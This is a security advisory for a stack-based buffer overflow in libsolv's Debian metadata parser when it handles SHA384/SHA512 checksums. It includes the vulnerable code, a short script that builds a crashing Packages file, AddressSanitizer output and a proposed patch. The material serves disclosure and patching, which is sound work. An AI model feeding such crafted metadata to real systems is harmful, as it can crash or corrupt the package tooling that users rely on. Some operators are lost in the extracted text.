CVE-2026-9150: Libsolv: stack-based buffer overflow in libsolv's debian metadata parser when handling sha384/sha512 checksums

Libsolv: stack-based buffer overflow in libsolv's debian metadata parser when handling sha384/sha512 checksums

— Microsoft

MANUALLYVERIFIEDREPORT package: libsolv-0.7.36-2.hum1 ------

[Security] Stack-based Buffer Overflow in Debian Metadata Parser via SHA512 Checksum

Summary: Stack-based buffer overflow in libsolv's Debian metadata/control parser when handling SHA384/SHA512 checksum tags.

Requirements to exploit: Ability to supply crafted Debian repository metadata (e.g., a malicious Packages file) that a victim processes with libsolv (directly or via a consumer that uses libsolv for Debian metadata ingestion).

Component affected: libsolv

Version affected: <= 0.7.36

Patch available: no

Version fixed (if any already): >= TBD

CVSS (optional): 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H (Base metrics only; calculator: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)

Impact (optional): Moderate (proposed). Per https://access.redhat.com/security/updates/classification this is memory corruption reachable via untrusted repository metadata ingestion and can at least cause a denial of service; it is not clearly "High" because an attacker typically needs the victim to consume attacker-controlled repository metadata (configuration/user action) and reliable system compromise is not demonstrated here. This may be "Low" instead in product contexts where the vulnerable path is not used by default, is only reachable via uncommon workflows, or is effectively mitigated (e.g., only trusted/signed metadata is processed).

Embargo: no

Acknowledgement: Aisle Research

Steps to reproduce if available: See "Reproduction Steps" below.

Mitigation if available: Prefer only consuming trusted/signed repository metadata; avoid processing untrusted Packages inputs until patched.

Original report: report.36/vuln4471stage5emailv2.md

Hello libsolv maintainers,

We believe that we have discovered a potential security vulnerability in ext/repodeb.c while parsing Debian metadata/control content.

Vulnerability Details

control2solvable() uses a fixed stack buffer sized for 32-byte digests (65 hex chars incl. NUL), but accepts sha384/sha512 tags and validates their full lengths before copying with strcpy.

c / ext/repodeb.c / char checksum[32 2 + 1]; // 65 bytes

... case 'S' << 8 | 'H': newtype = solvchksumstr2type(tag); if (!newtype || solvchksumlen(newtype) 2 != strlen(q)) break; if (!checksumtype || (newtype == REPOKEYTYPESHA1 && checksumtype != REPOKEYTYPESHA256) || newtype == REPOKEYTYPESHA256) { strcpy(checksum, q); // overflow for SHA384/SHA512 checksumtype = newtype; } break;

And supported checksum types include SHA384/SHA512:

c / src/chksum.c / if (!strcasecmp(str, "sha384")) return REPOKEYTYPESHA384; if (!strcasecmp(str, "sha512")) return REPOKEYTYPESHA512;

For SHA512, strlen(q) == 128 passes validation, then strcpy writes 129 bytes into a 65-byte stack buffer (64-byte overflow + NUL), causing stack corruption.

Relevant CWEs: - CWE-121 (Stack-based Buffer Overflow): direct stack overwrite. - CWE-787 (Out-of-bounds Write): write past fixed local buffer. - CWE-120 (Classic Buffer Copy without Checking Size): unbounded strcpy into fixed array.

Reproduction Steps

1. Build libsolv with ASan (-fsanitize=address -fno-omit-frame-pointer). 2. Create a Debian metadata file Packages: python3 - <<'PY' > Packages print("Package: p") print("Version: 1") print("Architecture: all") print("SHA512: " + "00"64) # 128 hex chars print() PY 3. Run ASANOPTIONS=abortonerror=1 ./build-asan/tools/deb2solv -r Packages >/dev/null

Crash: [root@c28a4ffb0823 workspace]# ASANOPTIONS=abortonerror=1 ./build-asan/tools/deb2solv -r Packages >/dev/null ================================================================= ==534==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffffd600061 at pc 0x000000488c0e bp 0x7ffffffc60d0 sp 0x7ffffffc5888 WRITE of size 129 at 0x7ffffd600061 thread T0 #0 0x000000488c0d (/workspace/build-asan/tools/deb2solv+0x488c0d) (BuildId: ced6cc77c46768e740df09b8c5a390709bbaaa4c) #1 0x7fffff7a3758 (/workspace/build-asan/ext/libsolvext.so.1+0x1b758) (BuildId: 4d8400e7ec4d874117c3a5bdb29c0faa3a6b1fa8) #2 0x7fffff7a2515 (/workspace/build-asan/ext/libsolvext.so.1+0x1a515) (BuildId: 4d8400e7ec4d874117c3a5bdb29c0faa3a6b1fa8) #3 0x0000004e319b (/workspace/build-asan/tools/deb2solv+0x4e319b) (BuildId: ced6cc77c46768e740df09b8c5a390709bbaaa4c) #4 0x7fffff2b4447 (/lib64/libc.so.6+0x3447) (BuildId: dae6ae6929d69dca842288f5300af5a33d1bdcd7) #5 0x7fffff2b450a (/lib64/libc.so.6+0x350a) (BuildId: dae6ae6929d69dca842288f5300af5a33d1bdcd7) #6 0x000000401524 (/workspace/build-asan/tools/deb2solv+0x401524) (BuildId: ced6cc77c46768e740df09b8c5a390709bbaaa4c)

Address 0x7ffffd600061 is located in stack of thread T0 at offset 97 in frame #0 0x7fffff7a28bf (/workspace/build-asan/ext/libsolvext.so.1+0x1a8bf) (BuildId: 4d8400e7ec4d874117c3a5bdb29c0faa3a6b1fa8)

This frame has 1 object(s): [32, 97) 'checksum' (line 371) <== Memory access at offset 97 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions are supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/workspace/build-asan/tools/deb2solv+0x488c0d) (BuildId: ced6cc77c46768e740df09b8c5a390709bbaaa4c) Shadow bytes around the buggy address: 0x7ffffd5ffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ffffd5ffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ffffd5ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ffffd5fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ffffd5fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7ffffd600000: f1 f1 f1 f1 00 00 00 00 00 00 00 00[01]f3 f3 f3 0x7ffffd600080: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 0x7ffffd600100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ffffd600180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ffffd600200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ffffd600280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

This is reachable from untrusted repository/package metadata ingestion paths.

Proposed Fix

diff diff --git a/ext/repodeb.c b/ext/repodeb.c @@ - char checksum[32 2 + 1]; + char checksum[64 2 + 1]; @@ - strcpy(checksum, q); + memcpy(checksum, q, strlen(q) + 1); checksumtype = REPOKEYTYPEMD5; @@ - strcpy(checksum, q); + memcpy(checksum, q, strlen(q) + 1); checksumtype = newtype;

Aisle Research

------ This report was generated using AI technology. Always review AI-generated content prior to use

— Red Hat